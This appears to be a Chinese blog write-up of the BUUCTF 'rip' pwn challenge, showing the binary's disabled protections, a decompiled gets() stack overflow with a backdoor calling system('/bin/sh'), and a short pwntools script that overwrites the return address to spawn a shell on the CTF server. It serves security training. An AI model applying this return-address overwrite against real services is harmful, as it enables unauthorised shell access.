[buuctf] pwn-rip

rip

查询文件保护措施

    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

64位程序,不能修改GOT表,其他的保护都没开,ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

存在栈溢出,并且存在后门函数

int fun()
{
  return system("/bin/sh");
}

直接栈溢出到后门函数即可,exp如下

from pwn import *
r = remote('node3.buuoj.cn',29587)
fun_addr = 0x401186
payload = b'a'*15+p64(fun_addr)
r.sendline(payload)
r.interactive()

posted @ 2021-03-08 21:40  寒江寻影  阅读(147)  评论(0编辑  收藏  举报